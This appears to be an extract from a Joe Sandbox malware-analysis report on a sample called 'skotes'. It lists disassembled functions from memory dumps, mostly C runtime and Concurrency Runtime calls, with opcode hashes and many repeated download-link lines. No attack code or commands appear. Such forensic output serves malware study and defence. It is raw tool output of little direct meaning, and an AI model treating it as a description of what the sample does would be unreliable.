Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: e4593ccc8d97b958c6dd1d4f46a0aeeb38cc1bbf496857a8ba7c60690818baca
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 26310830B08375ABCF26AA7864927FE77B5DF71308F0801A5D495D7242DA254D89CBF1

Function 00D44C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D44C98
__alloca_probe_16.LIBCMT ref: 00D44D5E
__freea.LIBCMT ref: 00D44DCA

Part of subcall function 00D3B04B: RtlAllocateHeap.NTDLL(00000000,24265D3F,?,?]&$,00D1D3FC,?]&$,?,00D17A8B,?,?,?,?,?,?,00D07465,?), ref: 00D3B07E

__freea.LIBCMT ref: 00D44DD3
__freea.LIBCMT ref: 00D44DF6

Strings

?]&$, xrefs: 00D44C1B

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: ?]&$
API String ID: 1423051803-313912829
Opcode ID: dff73ee6f54e566102540533152e32990e4654aab5929568ca30b90a8c6a83a6
Instruction ID: 8f85e879085ccee25a0ac6d79294938337ebb8ed8b41ce8af19603949b65af5f
Opcode Fuzzy Hash: dff73ee6f54e566102540533152e32990e4654aab5929568ca30b90a8c6a83a6
Instruction Fuzzy Hash: 1851C572A00216AFEB255F64DC81FBB37A9DF85760F194129FD04E7155EB30DC909AB0

Function 00D2DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00D2DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00D2DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00D2DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00D2DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00D2DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00D2DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00D2DE74

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: c94b42fdbd1277f00faa1b0891f7e46c9f39eef05a752c838f67112959dd0dff
Instruction ID: ed3e57aeb6fa400721f7298e00ecac327d15b0246bceb212cd4d100ef498caac
Opcode Fuzzy Hash: c94b42fdbd1277f00faa1b0891f7e46c9f39eef05a752c838f67112959dd0dff
Instruction Fuzzy Hash: B741AF30A043649ADF15FFA0A4557ECB762AF75308F1844A9E8916F2C3DB758E48CB72

Function 00D2E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00D2E7D7

Part of subcall function 00D2E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00D2E577
Part of subcall function 00D2E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00D2E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D2E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00D2E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00D2E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00D2E879
Concurrency::location::_Assign.LIBCMT ref: 00D2E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00D2E8B5

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: d0af0c78fd3179434b28d93ab7917dbc827d1c2420d13c18c9c1f210da290531
Instruction ID: 678bad6a2f32c971dbad4bba4a814b179502a558bdf7bd4b36714d1d4bd32f88
Opcode Fuzzy Hash: d0af0c78fd3179434b28d93ab7917dbc827d1c2420d13c18c9c1f210da290531
Instruction Fuzzy Hash: 92412935A00214EFCF05EF64D495AADBBB5FF98314F1884A9DD499B382DB30A941CBB1

Function 00D244DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00D24538
ListArray.LIBCONCRT ref: 00D2456C
Hash.LIBCMT ref: 00D245D5
Hash.LIBCMT ref: 00D245E5

Part of subcall function 00D29C41: std::bad_exception::bad_exception.LIBCMT ref: 00D29C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00D2474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D247A4

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: c11c80ffb33a648b35faa1158aa1fb6a3adc25a0fa138afbe2772a2abc863738
Instruction ID: 352b9ee6affa15b1fe56d0852641072ec863fcbed4627506f45b546358bcade7
Opcode Fuzzy Hash: c11c80ffb33a648b35faa1158aa1fb6a3adc25a0fa138afbe2772a2abc863738
Instruction Fuzzy Hash: 7681AEB0A11B22BAC318DF74D445BD9FAA8FF59714F10021AF86897281CBB0A564CBF0

Function 00D1EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00D1EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00D1EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00D1EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00D1EF0F
Concurrency::Context::Block.LIBCONCRT ref: 00D1EF31

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
